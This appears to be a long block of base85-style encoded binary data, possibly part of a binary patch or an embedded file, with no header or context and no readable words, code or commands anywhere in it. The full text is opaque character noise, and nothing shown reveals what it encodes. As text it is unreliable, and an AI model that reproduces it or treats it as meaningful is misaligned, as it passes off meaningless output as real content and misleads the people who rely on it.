zy4=_5Pn~B4bAee83J*QT`Ngz3uCf!A@Gv?;^FsNE=3eeQ8G+jdEZ+KQ8j?*SR`xny z=0BB~2CxpLL4rnar&!bIem+6(zFJMejjZ-}9bDWV`+gG8z03ya-&REpTq)bEvl-bB zUYEZ-8?@xz+wtg4$K6NFp2QYhSyv7(oVpaQfq!jug2<0>uM()SHs)Dm$IG9+koZaG z*8Q)aB=o?k+Wdo3aMtB&uAbji+>EMS%e?LK+k%QX(Nr%6>}_5f71m{XpEr3eElK8S zW@j1a;}!kRS)UE*-{Zou>7V9;*@tjnt=GSOU6`}AT&gH;w$_)n21$V(H6m`0a4|J9 zXM05)Ox)iLXtV-}lTA)jTOoKpg5M~>J|KnOCrR8mFCZ_atmPte*T;2R$n~zEyOnF6 z!uivc&X;fBK01jbbNx*`Jhw+Vw+;B&JaD@YrQ74L0wPZk>&3~xI>P-2+WvZ9{fvBQ z*Pt!)gcAaW5|oJ*r9`lCBv_odSh5YKidvYT-IC0|#W?(VnzL%bPO9DaQ%5Jg_Df;< z+8{W`kpPTfMVTOiRz@Pt1?A9V%4q5=tDh(q%kFiS02ij|~pStHIZC>AM5i`Q?~wLEe!rrq-NT> zxg96&^QmfeiJqtkRF%lSoERk6-w54lfI+ky{1|62?UUdHbkxy=(*`*~ovHMh6 zff##9((uQ4^Rf?G_#CWJ9;TA?a{JN|h z`bC>vO|^0NZ)q1GG5vEgHSn{7|A=oZm3xG1`E z=Y%w-+nIy=3}w?4ZElD}Fu)&AX!5MwcoMYfadzw3HmhYkVBw#&{UR|yr((1ic_*bY z&An>>2sta%Ew-A|jfz}inJgInc@W($Hcq}%W9%s_HX%}@s97Rzb@}39>w0`xr+nC( z4v>wB@tmF%O8FljUWj$ zsvewYc(I1Pu>JMgeHST|Ff^P(pR>}2?r5`H-fI_#*KQbfgdV}J-r_BObIE8np!l_l z5h&YjUH3E*A^EhOIc3#24x#!q7!`Jq_u>^mtrx!a?Tv}g7N zq34jdir*XNR{bzs=QcR{oS9%)%?WpUE5&krID*$LmTZ>_FXSK z_+QFH9Y&3TM`9}3f}~DNh9!yP`&TQIoN=l91pZkhlnDpBhHqZ8T(UU;|ES=f^j8 zfTJkm{K*oxMPWEzt~EsWFYhG;39^B?0I#o1z>~fG_E7>#71h=-@T0{!;OQn<05OCR z#G%49kw9A88{kDO(gRL!tg>zJHjf8l@Cxd_rNw9NG}9rL7Yc)P0y9@06f6HMVE2)$ z!e^(Dt^hgI*$tuq7RGHC7;$$T*8A(lk#ZeLv?NzaBe79GE$D0?V~_Z}AV&rj{U=dP zX!UfTEXUJkVF(XJX&WqoTY4VAxT|g(mCl5cUI2y>w}*xXS$X&!t~_7pS7WF+v{-n3 zf79MEussjg-D`p7_pOZk7P$GK{+sWqsG&NH_A+Gl*L}4VE+%+KOVkl$JAOYA8OSAR zMi#+223ljIlPHQv_s}8=o13A;G)Z-L2|5d@xojB_L~#phf3kobFlxcJ1cb?me14Q+tIUp79~9{z<8XJr29E z+tpxuVj@Y&wfzP$bY+=o-fdbP6xR;weA*7eYrnS4o(c(ch@I(jr2g>suL8`W26I+K zwp%BtMl4|&V-%0SkFD%+L&XF)M6o)3tFX8mai^*}&2Q$AJNJo|umtr5`Y5V*^A;fc zQG<7Loeo$OFJ%y{5P=b_!Yi(Tdh{v$+u&;#=T3_VzUl>uM_rz0*0eRw#ktE1N2)#6 zn=^2(BASs@x6q7m0nCufflU+sLcFGLO+$>PVF;&KbEf55B3&2%i#U*coDQhzxGD^s z24rGx=TKLOYPd2AhivC5*Qzd|h)_w;&L^N@B*<**vbw(T;@WZYUVlacOs(JUY31%Q zE}Fuw+hxnO3L`WSHVGPbs`Kqb1Y^}b3kAT_ReJbjzF}zo*RWT%;`2RrQ*U>`ZD>mM zA@17$>&HKwz?m*CO-K%oEqh%j3E2}+-!WcZKP{xavYfDY$o|pm)m!I6w@w5X`5b_Q z^&n}8b;$0G>vY z+};Zaja+02fQ$MUUZgEkk5=z-6ij7w?Q(vXh=yht*ZZX=Mgj->@k}{f+MXm#{%Z;$ zLR7^p_d?@U?Ifo)g%F-s8z`TnhWmGcM*n>VxjXUf3FI#-Q!;17q3L2vU;#2WQ1D#9 zRQ8}_(eofr;Ma=M>#2G&laNisZ-`?EIC?>2&(hCdUqAQkT$eR2Hr^dJf11%d?- z8^X{oXl}$emCT$RvA9Qpt7Gk-g{;Lt-j(%J&Dm(k9M@-4J*k}&woltOjz(9bquW80 zZxjXMscXq;A&f)&>aD`i*E&*8O)mM(>BEQCL$3J=pHAmIn7XAWPR+FWccoCTD53yh zN@0>BVTjLJ8R_9^rNP)57{wb*PX3%xHqiKfMRL6aQL`{} zqAeb3LquaBf=k5yhj`HhrA6%n_vG^-IV$1|qqW}E{g*7$uCLI(FzJ3tRaxnh2OJB> z!06pQ9E`#a>PnPdMG?@11A=>l_i4-Svcn;GQey}uIh5tONJ1PBEB4>P?}ZSc#OJwz z19o_e-CuYWWOQ1)M3dW|gKo;52=nTYt@FZ74OTN31&zwt9dj^rXHd1*^4=}2I`p)k zgL4Dqx+s`$OC_M_h)*fUZ~5J@HlMIOXl%(k;KnTMFa&*><4MvNL2(o2uH`Qt{b#lC z-^@_{S4Q*CGL?@nxjF1#23{T;{olz+S6WWBY7a8{S2_VgMUmUKJCFNV;3M7ba(~PG zq}4nTqCl@N_Uf({#P=M7MwOb_cgS<}S-1vHu`6BuJSr%t47%Mgw%t5jS*(_PU@{>_ zGnlEB%ypgHWIWkG{t3+GL$u0I`$qtUOb5uosQz6a9BV*L`u{Ce9C4T=8=EM5UHmKr zXyv%*-4Z5g$ zk81Afa4HmOf3$kIRs2Q6ZchKkM*w}9q-h7$V!Jk68j!dv%9C1dQ>{CMg|s zADDM5cfWJuW-ARG0{IX_c`(DQz#sVD&^&Dq1I@niw}nLkVgbI{ZIk0QhvxDnDXU`K zoqb;==2U8TcPFP)nhp9X1gJPRpqGM`jrze0Q|VwoH=|iXpWpy8)RowA_H&3?+*`#u1AB$>A_uMREq3 zcau~Ew55fbqc$cA$N4|$b+9DgS$`vg{gD#h*v@+T4sKXTelXfD7dYMD02Z58+6gIh z9kaf;mm9bli%q<2nLmFArG%nTyou81ozVLFPo{hx?r1? zG~>urAqxhS>ICzUI|I%5#rU&?pp`l=wYWHXFfnumo|^DVYJLflE$unb+- z$3LB=&~aEy{XAvX9usSA8mlE)i`UU6_O7Mj@{PUZcZ3V5WHw1dDGyUeGn^;!szm~q zC(OU@3D6W8OWL`;X!C^6+6#$E-cdY0| z-2kc0{IJ`{N(Z~w;1-Tw^kj-FXOE=)^+0?9Vc&0y7`D5Po2n>-bRuIK1nIvW4Mevz zjTyb;Am1~-Cg?D)lvF4^^Sx0h*PZIZ)K7DI%|7wwB>np2fP{zsb6aI9Ew#%THDBdE z($OlVcsw*UgoY^Xr|j1L0E-bjaV!1&UVfgfzc_{xz- zF7@n9{`V9LLdXM$rU!`{X_8b?tz9gR#G|Ekqv3Nt8rN zbodaG%JR1!?&qkaRLstAbE;C&R($+mwfgc5_xZ$5bE>c)0d1Qo?h1^a^r%Ce^2L}i ziPGW@DkdtLuycO*F`9R;d226udV16rl<7;_YAAc~&Ykd&fBtk>F*up~;X|^AOO_|$ z>DKat!Ad3~QV&-cX}?-=e&ONPoKvg+)VFY>&sc66G2t9jBmK2QYb6uAv+LseUyb&% zCmw%z{kZ(4i8hDG|BBZC^s^uv9<`E7tiv!zH*ZZLtI?}8c#(z}cxClz-X7W+*wqw} z1xjs!Eq7x{g$)QLfLA!u2ju1kE6XfjZsh4|2F&^Axy;Md?%ifMR+X#Q5m05>FW2Sy ze3U7EC|8AB`0r=tO(Qtx;nNQu6!32=zZJnPe<3iBhNYJ*xs_u8SU^BOG{ zjiZJ`asAQoTYtA7XqN%!=Q2C89t?B{=m>@njX$0KhlG~T(*0i&+TkzZ#kcS_S4|U~ z1BDfu1gx)_Jgp+Yh+4bKlAzt?>I0Gm;RQ_aHx*O+@<81c>NDcv|t@Q5XQW47N$hV zX$e7gkC8(Oxd*B_Zc*tg**FG2cHZBFy@4!M^5ds>Yf9WQExO+sbhIls;))U}ysjp$ zyoffAgaCP)`FO{M)F-v6Usnmqxh-dzI-)-d?b2N{b$e8W7mI{A{-)x)h0p1N3Lu2x z_ge4)G4SgRqlOHbHs)!`xBNVWS+qU)6(Z|dc-}46Lo&U(1dW}r2eZ>XndrU{HhYjD;pOcl68 zOFVNT_zH0tSQ)q^f&a^79%^U%SG~W!2X|L5<7@ZP%a^J8-_xv{4S1fI#@Xyo(Sy#< zP(FiLTKPmvR-rG@+=k%aoMday-0z)={XK;l;kjyf6v2 zJ5Pel0O5#fN|U2td!%f3Tm5LM%5&tx%c*Y*+Gq7Wks-2g94vJlzwV3e$DMG-d3uz| zRjndH?H6XqzPNW$iKmrbtBVd=6MIJ$Y?gJ2PRU;>)6WtI9V_4D$bUVsyZtu7Vz_y8 zHxv)W0PpNw2xhs@t@6@RpvA-LNhuG^x4qq6c-fO>2_-p0Zr2ToH}7J9OennYn1!N? z^9#qS&xfOhDStykqcI}_WDk6Q7c?fo?#y%wMmI*OY;Z=a)N*Myf5S3je)x9zsOCpg zlg6;YT!s{AMQVH=5!T%<7_z0rC^K-^!)V)JXWSXae|~!#dXzHgV0I{i#P|;gZoGAJ z?9AI7c>#<++opHJ=mOivO{ez(QuuEw!SYQzy!4v2Q?|ZCAeNTOoAnyJPm&w4=1JoM z)gxZP4N%ypyU@&V1jVIn?ry5HR9%%Lrrr;&P~0aS_fS5h?ji<;?S40LcVc zlMbTo&Jk~g;ym@70Ef1hC&;#`?XjnyMp+%ba?eL5v*F2^2kU1((%LtYPTAG!B|$lc zBwqOa7Th3`)(?_+QrF+j9ez{Eq`+F{!<76dNtd~#L($%Q?C=7W#CE&o*CEEepxG>K zd{o9N4+XTtB}ju;4ZC6hW!y1mi5;r=&~rs)tYf!Ki6QJvxh~>POhRk&#FQek8F3V^PU=^$kB2F@r#Qo$1W`rvw0*OJdeSrbgSw@aSM(R_{MQ1b3C_fl z!oZ!LY#E|B-k;RzkC1I5d6pI0Zas68D;PM#YklAA>ap6F;|FK1^VOG@p1%LPmVt-3 zkpzej=U4m-aL?iT<&3%(lh!?4?V`FY%LC2BZ)+??{y3?&{OjcG1Af z9y`7X@D1|AX8cm(>J1%63**t%(Y@Nng0{Mm6zRcN8X5jkmrG3bgkkG7gd=vJ&r%$# z%V#JI$gZ^UR%@U>bw|1bk?B6B&7g+_jH*LxkSKMqF zHB}NFp|N)2_{|8g2;7R;;)h9e=*;YG&vWx^R^s$Ov&3a3$R0&|Pq?~SX6v&?dIAFLaSnmBN~I_s`AarZF*eXh#LNHD!6c{RCw_d#-Z zPRrX%08B8aro9B4!v^?r*Z@;e7q(;h($9Fv?#9%f2kSQdj*3PmeU_Sy&UcVhhOoG1 z)LaW9=R>*%JxH1?behu&U6lpd0WVg8KM#b!Z1Kiw%5cNgS*0QH*t9>U#Ff5Uar3(S zHNLF%g#Zh!6<7p91y}eSdkQiqrc}74gXLP<8^>k$sSj(}TN1~V>z1V=g;Eg}> z++Bwe5g(#OIl<5-A|w6`Y<7b=!i4-_3WMj@HVEvI%7HzTxl6G+vu0Rh|0DVYFm^k| zt-F2Spi=P4Tb-=^hjVElTC<;NLB*oS18 zeKtLSSkTGBml=-9c+|P&Fa(x$bLo(}DVM8l4`+<#1HvO;>a#z$2==s{*VViPpZ~vT zdKntdbyeY~BZrE{xehciA%g*9P^)c-K#EyrGNVhMg@vxur~1^dHkW zrX|xZFUs-$!^IRRzL5fq)5A~O3GgRy)U(ea_ zCrr1EYGnnV129xb$C1Qf(dR(owAl?3Jc?&NBPHv~^!7x#d@h00dEHWI0^XZ(yXb4d znR7IBxzBD0^+T%DBkO=y>yn*q={!lu795ivs?iRS0>NI_s$Si;c%}JSwROx>O6!{G z0s~dukrVrAet3UJbLDOTUeb0vm*`qfelq#7oqfJluU)`H{T$kj8^G;*KfTjs#d4-J z%IWeo8s{_Z!}HTHxJxACeVq2ZNb4uXs|GYl#d`fhsm|snGI45eERV%j zD|aU`9+DW3hCbs&L2wf>5@3D}TMO{N0}Ch&7{xsskkp0IIw>^E+pdT)cysSbMwC## zQZ#V=@qR!UK#VMN$hHg45lfGcq%HKa3>v1&6L&WijXfKrG?P#DsIt#QUF5LXyCZ)1 zsp=5b1(|K>&S9*Da&%$@Ob`2lH&OHexw!mkj#TCgC*j1$EM+Y0lKe^UwOCbI-kzh! zo&@Z^!=pMgeTb5)0sXet-AfmxuSML+(XB(b)2@IPro#HEXBfRx})r|n~MKzf1`UIg6} zDhVV@2Qe0C7C1nmc@nR!Qx$z@{3oH&H2HJd)UL^z6E@(hIxD>d$H{gae1D1~34!gh z<7mk?C~M<0&UCe``65zowA)|uL^9d9q*4F?>eJ{D|DGCc*NobjJ0d$3cOpGJ>uEiG z>!MT>KP24}I$%a8mw^fyL(lz3^VI{$fo5U7Q_Gk9Dr2E%z#>q%`h=#T#Dbf-u5q;a z_<@YY<>AZkCQY>(ll72q-gwYa*XUpxCthzxpe}5AMpY6!`29+ z@}OBhjqWe00I85qK?^;}#@}Aw+W`89hv};ayVm&bRkQX2*a`%d>{?{m;84s?Vu}reu{9bW?<=jCJbNDorwp}%_db7_WT~WDXI=3cXzbWcL zDB*xzuJ%=#*0|V}J}m~`liP8gdG>(gSeIZ#{DPHM)&%&e*pC$$=Cd@cBL$s#b2D~! zx7g0J7$cH3KQd80Uj5~FU3m}93qFSgs9VOaI9T`GDlRDuZ`0&9`>^=X_v=vm%-&=jaoha#gW=5=Gr=%9Gc#!Y zwGvYof3PP`c6Ve|mJxnss+~2k#&kl{;X<5nW79P3NG)rmrK#z1>#M|}H4i7I=aw(A zL63V{ulIXm81KQDkW>izCa_5)bwF#v%vxdeg*;`y(NwgXZT(6q>8Hb0$ z6b8MG{j@ox04?U;g?~n3+?n_n0emEf7EHDEn~D+6hLxpxI+sHh<^(HD9fdyJR9SYS zW%?M)pEh&ov|RTf@z{2jl*dmd6(N8|2B+@`odGUs9E&L8>Q+g@EGoSi-P8FXE#~at zJ{JWnEgcxJCxn$Z-Ha=u`N!^%G;|dV$fymV`;Kr&)e)<5YGNC!U?E&vJ zQ#QXIip-)EVax8=8@L;uaT3-oE!@Bg^{{{EKIw`7xqZ@>0qG|bs zqPtgmDE{kL z2}Lo#slL>;Y_zj8Np4YhqB z|N3R*zr66D_w(oa{OgVN=l=O~zW&6YKk@m`^Wr}rw148^pLqBu9{!1kf8ybvc=)IO z`ct3&sh9uM%YW)+piA|Cww?a;qyF^k{`52dtL^%yzxt>D{HH(vN5A+NndM)Vod1@- zV^+T2lsPNX60tj0AE4a|USPd2cwLQuGIQwl-!>1gOUTcoWytvkO8mz+z8{}3AM+~1 zNdCX6M*YT_Qb)nr@jn!9k7{$g`48aof03-t{Ojk}e)$CgE;PR<|EIA>|1Ouxpa19I z=lJ<^E&u<$mj9;Xs!fIbJ@r4Qe`~W-S;Uf`PEaHRVaDT{_PDX@M+TvsuA);vg?KZL zBt_|8osG0gwtP0o5d^HS#a zKk~#2#0(6!TVtXlE8w=PeDA%Sy;Yi32b5a}5^;kW8p3yfsI!FAn$qs=V2}x!P_p7? zTm?lH4$juF^jp+f>h1yaiCx;>)3_vBf9sd$xJazYh*WSRvR<-Mu5-MI`?1{q&&?31 z@8rjv5ZkAJs z&QoA1e-oqXLQy005~?S=iCOaKN)4~2=94wephCc`N;D-IQ~D{(hwvO?dT7}$0x@fX zo_2JfO*{>nPdd6sd|B|xWezsmYJri~B7t_H9wcUfl{UEnpf`g|0FT4{oP{8ePww*D z={Pd{^nE3TArRGxU>(&I2*651`$md&o!p!Q1j@>`c4*{IF>)RQD!~aJH+<|S^IXwS z@X(k#=3M}h*02k~%abg!PT#NpWpQeR^jZrYjzIW8=_s?A)3KTw_(MX-RO^*o)i~vN zYcy+H;mZbnN6&?BM>^Uyb3I&sz1|J^r3%Rb=*}&7lp7A!k4oePJnBD(xNL}gAHS=I z?hQU$coPzeG z1&7abV*(QR0^jQ*6|^mhuylW8s_D&g5HEs(?2dPigG2F$SgsgNagO#fANy6n>l19f zW9?=LUf7G<*A1U@Ov5-FI%{6?NtJl@HXS+6|DF1qtN zPyZeAXB=1W4!}!*R-^hy&My%&jd|vYqW$-3$69YaOBR`=r24?b>qAg#<~px~jOgVS z0>4~e2!;XHfNE51D-uWFg;1CPixL|Q@u4HprNhzBG+vchSOuecvG&-TTW^0XmvPTp;wAowkb_grVMa&o)! z(KX&Mq8>U;K}hW6@PN+&KqavF>}hl1rtu_$+ou~tuSaNK7OyD9ls)V?z3RRK>8w=EBB$eVk!!*}|{O~2wL%5Sw;1M*E<1gxwmh zlgE!LnGJx#VgS62v=-$6VGXH+59VaFv#vNpk0#Lr#! z0=<*Y$1lVLsIb$*D`k@}41J-=TsvZ(TQ;7iTwEky8`q@4K!}#;^Wu0KR-&8P14o}IQZjo`ntuad-9@71L00_Qo+tpJO= zH7`GhYpo9HcG@Z7wsmh%B1=+VwGXMBF+PhAOZm(4c_Z}%|Dy=I`0}k~Cd~_>AK~^> ztJPzkec2_YJNMz01W9)eUBq@iW9fN=M^yS8Khk%XFT{Wq;7{Dc`) z3QO%fe;Zp@6Qdga5Cy`a2PB z!(dDwMnlqo$MW4bS|^J`=X*tKR8G(D>6`a|gmV$sSD6#r>9YFNSr=R@ifjy>%C_d> zf>a-RtT&#wEV|$S_2QN2vwq#@O%4ypY#YLjM3K_KxK;Vmop#Bo$~qN?W-VW*2Uli( z=$V1CgHs+*7`EyGq$g#xoh9j9iuObp~K<_urX3>i4*zVBbVuD`;IZ%3{@QKt&1a#n52ik zWRTECgQM)Cc#MZH&SS^OPO`Zn12+57vL0~HOlnopn0zp#p(QR(XBxWKw2<`4zk=SJ=7b|v@=uKYCT>Pl1F$V#uN!V&OK*N z+n?1ksYV-pnPy_uY~lQRCH6GXi_6|A9mB!}lOm}k5@#%PIAZ&5bw1=s4xJM?u+uLy z#QVh53bw9a{*ujfoLaa5;Ic2Cy{XpvI_#-*>%)AyK=iGKjLEAybe+hR(AbX)luIOR z;_mx2EoGQOB}S~DO*~=zZoGlNY=z8k?ONTVyQr^|2si&kRqoT2>JQzQ=7V5g81%S7 zMfUPqRf75Ld|J8vMXJQyUNo~4xwZeKrX{t+PTI4!7U^{!YW3jO_igB-2X^UKE)!7C z5|6$UYd^lKAcx^+Fg3xth&<)5;NDvUcq2Vij3XZ&7;k5TE?qB-`7E$APUsF*VRY|N{vFS}u!9Dw4 zye#*~$;jn;%t`-qZ||+^kFu`^`ij_z-LX6;=Gon?ro7qwH@JMuKEAf{^bU1GcC4FV z{?f*Jk)7m#(-mOdtoQo1MxU=XdH%=1)yFIEZo~w?GQo%Nnca z-jgsO=-n@Ne?I}z1>~L~RZh@G2oYG*67rWY-r&oQ%|&fhwj+WyO{%QxBMEcE2Huro zVi#>_4;^c#{b6K1QdTz-7>Akzk%Ma zWOlR6kX($#5NA13u;pGR&fd7pA&!={+w!I^O;^Rq1ilpmW`x-gL0Ke*?uq99j88q! zUX(axUf1{dl{(Xi6>Ydln>rX^*bP>PMUrf==J7&8{!H-ih%29(o!A5=78E|Mx5j9x z;}@Msx}^pUM#;6a^f@Yxpqqw(HHAh~upA&=%S=!hh+_T65n9`yM_4H0=YMvGdsY;n zo1FTIml^J1gYR82G)&DNOQ%h{F~fkgfVq;^GIvzTzBUb;Ip@Jn;!YreiQD#2seBBg2a5_ zjjz>rmSz0JG6Smm;BUt%m!E;-D5~!%+FYoclg}@G`lX&z>duiaU+l@F8}Sm4d3f9J z@nD!dK~<>yAo1uOX}u4^>Wva0qOs{0(a|7w2WS;8a_Or55Lb)e__X!u&9`&k&`%Nq zhq$am#2>4Sf4Y19w@TCuX=tT2flBYu?mJ!jEV5?H{*173BAHZHo)=!>r1-$<-13cG z{sVvR^#1o@}2QVbyc3kq>r1}buR zbD1;2+9atR{^Old*!EIJYv`iP`rgl5Ji9Q4l|44c+7KsK0$qp7`|V(`~kPT<3j+pr`U|EnRIgzv5)%{>j_=wt=r-W7q8)_F~0a6Z+5_9Y(^pR*f42 z`NWTfxX!8&9`*Rrr|e`^v#DQ(Ne`5HKK-K!4FIPe-*%tOTKwvI#5$pLrg~&eyfZNs z9L}^e)tlB}F8AwnNa)vNg)!}&M}(Y@T3EbPpZ{f;7g4AXcyofjokWqJd6b*WM}`wL zo+Uh5XWqGCQ>6SQo5^S+ zsc1Sn+bU!c+Vz|3cxMRdpf|#6d;Akz#A(DQ84)IsOY^s)`iJk&;H2Y z%uuD}^O^b%F<~vaGWPLi5V(7UP0_Il)!{gKVUL0AH9U+Nr}ng z8A_=aOfHP(iSlOJi9fcM&h5BrZb>&43K9566BBzc2UyOU(5!Q1Ax;c^5pqX>TH~91 z+^1+UW}O?@{m}>4VH%7PbrcTazA*dzz1(|b#53l6f%T_h+=@-Lv8}_~AS1OqBKRx_(v;e85;&S$k9g%F~Uvq8Ki_$XJQRCsRD4h3UOyDP5ohdzyjiU<95e2 zL)-3&-!P5VWqvzeRD4~6rXFL24e+Pv$+ds7o$EkGL^79LU4a3NK_#;l^e~`c8ry&b zPnycd>gaJiN|E^nGr*4m2kagffc1?y$^|~|6bvPO$6w6w_}ie;igXrLCSTa6ka${Q-|<-h4gFb zs#4(%-!LOjE?&xHC)b{mPks1XA-fzEr%d%seHMN&7fhiVKDflV4rT%(VkUoJ?0{Xl zMy#jhq&z8vev*+p%sF)HZI*}alG|>;&ui){OwOaj^6*y{kUR({*nNoy5PC50f>dEj zG0Q?@NsgwY)??!2QJQt1h4w&?})V-di} z*`@S;1Rc+{#>}utLuCzU@z*rHyP;x6my?xyV)_bd&6rI#-#VUdCR5&%xk(VfdAs8p zxKb1Rur0T1iDQpq@}3;JupZWAPBuV&e_Z$gDX)^FHcL0}_v9>Md_$PO(*=)?6&6Hz zz2g5{TSB5wLNvgHFAk?Gf8w$}kbB48%b=JdaDTXqQKR>pSoP8UJLwY$esVteBKbCi zl=4G)GJ-2Nyt3)a9G_KV{F*dR49DmD?)1DHwo6w!qv-n-5&`3HqOaQt%>FDTtkP@$ zvOTL5G54G<>(&d%Ig0+-8%>+#^cT)jq*XL#iE9bEInz5c(>}4}B^O-g#Tu18a`>S+ z1l-|~62oTO0Gb}9VMMc&(+LU*h{xs$+(qXK9yPS&%Sp1ZZt{t8Px>?&7@1;zxH6{j zh%A*^?#>VDb+QQt%-U%}Y&6XYo$0)OF}uG60C8q3tg!Vqn57wi z{;qD*hiD8fBsM-Ezbb>KFSGP7I51S<(hb(bVh>N8j>o#vkf@MGJ-7y&e9b$A6exwAjuWlHK zPOr3`R69RZNYnH~^1LUWhsv)~jU+1UtOAj_AM!H^UySf_C#b=-Ggql=I$suTR%JO;rl z2fDpMy^d}g|22+{r&v^wpG_OZEkC366=tf@utfYJDG*9#syKu%(ail&aYRVt+OyLEb zhm80@{!V3b?~nMU9$L4eWo`0mYtBR5a%P4kzy4e?wOSx>KiTNv8f)fu6uW^X<{^DAF2hVYNP?QDZ2mJeDQxUy?2h5$oIj7bbypFP6ei5-Xb&3YJT|w z>vL4W_RpgO#UC=tzu4Bvi=7$S(VSH3KW6H!`W#*RYV?G{VGs;YrhEsYL-u}flY4IkTn(m2 z&LWIR^}%KBnwcc!=q)3)H1t~KdvMZ^X>y$2bN_wwI^};?Y!auc@^f9Y2vdC?|}@ANtQa z;NPv|Tazg|HRL6NTXPB2dg&2K{{6{|nBA@K3&Cu@4E);*-}z~!99=$xZoo%@u&NL) zI1lq9dy-`O+L6f=$@)$868qhcGx?#7ezjx^cUpZEc?K6vK}(QFqrjYB-5E zpj(#XXs@~ixM~`8i^?jTLS?+E>n^@~^x7+wWDqHk9Jj5X$NzkyBl{ohnpg1NV*)7^U3H_w8F zR7py32BI5!h4;O8#UDBOgNGiRElSny48so;X|F$i`-(ORTF4DMwA(uiu{(J(Vfg()HRzgpTpjiq}7lswtvjnJqbd(ssPwQzxuLGQp1~ zqOQ%^p^#i?SHVsD&KT=BBZ@@V15CuS&3l_wL=we-#N7-2EY-^}N;6Vr=U~c}MgQ`U ziIrhf#a^tWjNqY|pwD>K-}1_O<~i}urT>Lhthc;_0qNy|;GjqV5bQ+>vR&DbhW8>z z%;1V806jI%B_+AcN*PGlx(mvTRqt2hxx0iJrFL>jss_|~()Gk1MX0}JQ*iaLTU(B; z=)2Ni$OwW+uZOMyom>y2BWdfhH^I{N?@9nlwd#M3TX%g#Vai+XiVY{TYOQcGKs3 z0KLX>@NsDBR36cMMWVbv3f!l9l<$~tOGGCt3p2J4+$Mp_vv z^2d7=F>$93KbnAp*Hq4X*h6{@r_~e`#E~O8O!|iLnC`Th!fgEwm0y3B10h1N+h-q? z)9H``Fj}&!Tr(PDE(EhCowr-slohQXuaO6hUTSv>Y%$7P2}uy)$#K>dOcHyv+r)ru z;jmd-$1YeOA6b&Q@#%>t!YO;p(=hj1-EuGL?Ww0D)*4#2=_er|FN)p$f~x6WAOrs7gAc8f;ZK1q8fQ0*=f zwN$`soE3Q?i<4s>5K4es=RqA>iiD(K(cHT-IHUpO9 z^BiY5ucBd_-|$+f2_(I*h+_=)kVA4oxezq-z}Bvnr*G0k`fe9v_Cm_CTRR_Rl>|tH z%(*s@=Kw$r5HWbS0-HE5)N9Fd<}i{@ajCm>WBMjK+h61#jr9zppb4`M!@J7IQ4ZaR z#>6z#Rf_Rg$X-GbXzEay{(hq#L5sdmbsw^KQITU>R#fzkZsAU0TfeHW??*?Q!1+_Q zWXe2oG`4wZjs*({U0~+GU^)*uR+s1=OVJI(J6$j&t{!-9$hOdgx8^c6Q?Lj{Ugleu zu?tS+!Fcl|SlF`D!xgFR4Z;$D9(oDAeNP>ma9BOddnh$g=UYf=EBo$Lvyfp$)@XIT z!fLf29zXgcLS{d4IdS`pfJ{L*T4#`0`q1pKXDlz>Cw71R=*y`V=gJRg&UqT$E$x@$QcGr7JshsKK+>@M{3C2)VtnyvIv!2o9;9?+)<|34s6EaSc(f`u1~kH$&#m zE@u3V+$1~b&HvYi`X3zQe`8auvjK*Ody&9~8rMse2Bho?JHY(*-=x37xJCV?qr_R% zNV@-R!2|p8P{a(v>MZKlsOwC{Cj_eo7Jp`D__JEBu-lrRmX-f;>=xuT5O{!?p%Vni zb|R2tE^r`!SdrG$DcfkD+DjZCwa#I1(3_C#=*rW7nqyRIq&n!Rmh$oXIhxx%3r_Vd z@NX87OkrZ3W+VWVw<$P!Pcp!uIeS++e7W{8Dz0XeOtrcGLhpnJU-*jNvsml9}`sxHhdAG{*Xa*WBZ*H0euBbfVKf_-IlWo=@5cHTe!Z57QH|NYXp zZ+qsmbAgU$H$I{zI?YMmSYa;oQ{YT-o@iYj?7M;#^a>z{uHoIGek*)*z%;el{xvo_ zNuH-!uZ_P2&u}6z!d#suB=4gjGAr>|cgo+V(}F~A-#Di1{Z!Tx}6$RMgtCv1vGA7SmjI!C>AoO??=Xh`8DkbNNx&@+(%%!qUT>V{}bvBFuQV2 zrg0PItr|}{GL~ENB)+_*%#P9utQwd2&w7n>1BFjLm<+J4Iitz(@5!UxttiQ?{!r@W zX|4%l(#0ObT$>ZC!M6XgjtAeYc;mC(UkJ3sRQ_iyo#ubxI`_Z#U3C7kn^9~ecF~Hq zkv*Db)96o)+aJh`-ufB*ifh{nM2M;i$m9{^u&@;%a29ji&eU+=zw}OgW+rI;sbc0O zVQF{Q*k;Z&W*T*1yQ50Z!Jd*`-c#;3eU7>%7|JW@U?k42>FhYl#Ss5s_Igol4a|rS zyaOBxxM6;1I!Gdf`T35G3DHp=99*&ak)GTBJ$=GG5m~8>*8q7YAnN!?5EwguM2`AL z<7@*tu?sY|Fb28aKWR^v{?z|J8v^{l-T(jV3Rkhp#`Es(V5YBz-AqumYmBzcYZi+P zqy;1gu3Ugm%X?O{NUmNf`dUM|`;W#rr|%E%?!`B%in}-U1XKoO1Iz9v(Z72i#8Jr$ zDzbQU7GZY7)P7FiGU9OJX?x2VyXO4pt&?|;^39GHjb+T8=6+|MrlaB4DdsI?h%bKV zRRR4Z{mV|BXYWOfXyGP{NtfQNIs`Z&!(xJ`>+}etTwu&bCm)roP*Y1NUx6K?AF}WK z>$9*stMB&!bB#vqLiY$DW>w(XTm+F>h*EtKe-eE4kFn~a^Ml%ScD}e>uGjH2=hw8b zG>k>rJFmTSrs*4P)Hi^=o(2AMy5Cx5OLXZTBg#2+Z!V*Q7t32`7Ov!J5%}g| zzLf%slxgpU9%|PluQgO!8O!afGWa%qTx!s`u8TqOQZ#13p2AEcq;xDufyA6G z*%};jmgw>kqFji|^Y)eLdVBw-CxiZ6L27T-z_)pF!3sDT0tj8^yoI^RY2(M3hylzIeCsLCH{RzEMy)dUy-i*C z^w_boL0uKap0XuvKt?E3AZm-ShokRVWQe+hO>XCYWzBl z+FT|oPUsJ*Q#Gl0U^^>UdAdF@!u|x5|NAVGJ#LhE7=Bi4k~3#y z;=`hq(}m_|Q6IQ61cH>C{6sx92P|dju0?ml{%Fa39#_6N)l?v7b+x}WhvY~rC2_BU zpLZ{XfYKwclGu&Nd8cyFb?33|5SdGlZ`v!_*HqhmcaoQLY$#?kW)(U2RY$PuxbK^6 zIZ-Nx9fM{wkJeN^QZp;&EDq;O`$&7qO609#z}2%=+qYL|eU`6Wf4ceT8eh@&{3>^` z-=LzWo%5c}Nr%s-Tbi=FbmWf*uk1^!-(>IZl)d@``uY*AO1%s{?&X8*TrLAhNd_s( zKvqZcbYOsa0sEN#QeV+cAjzm& zOvYNbHh!M)FIvdQmpwLVV}w<>+F~ry-zd7i_~u(pT>2awvKiE;e`{J!!>HNMX`&rR 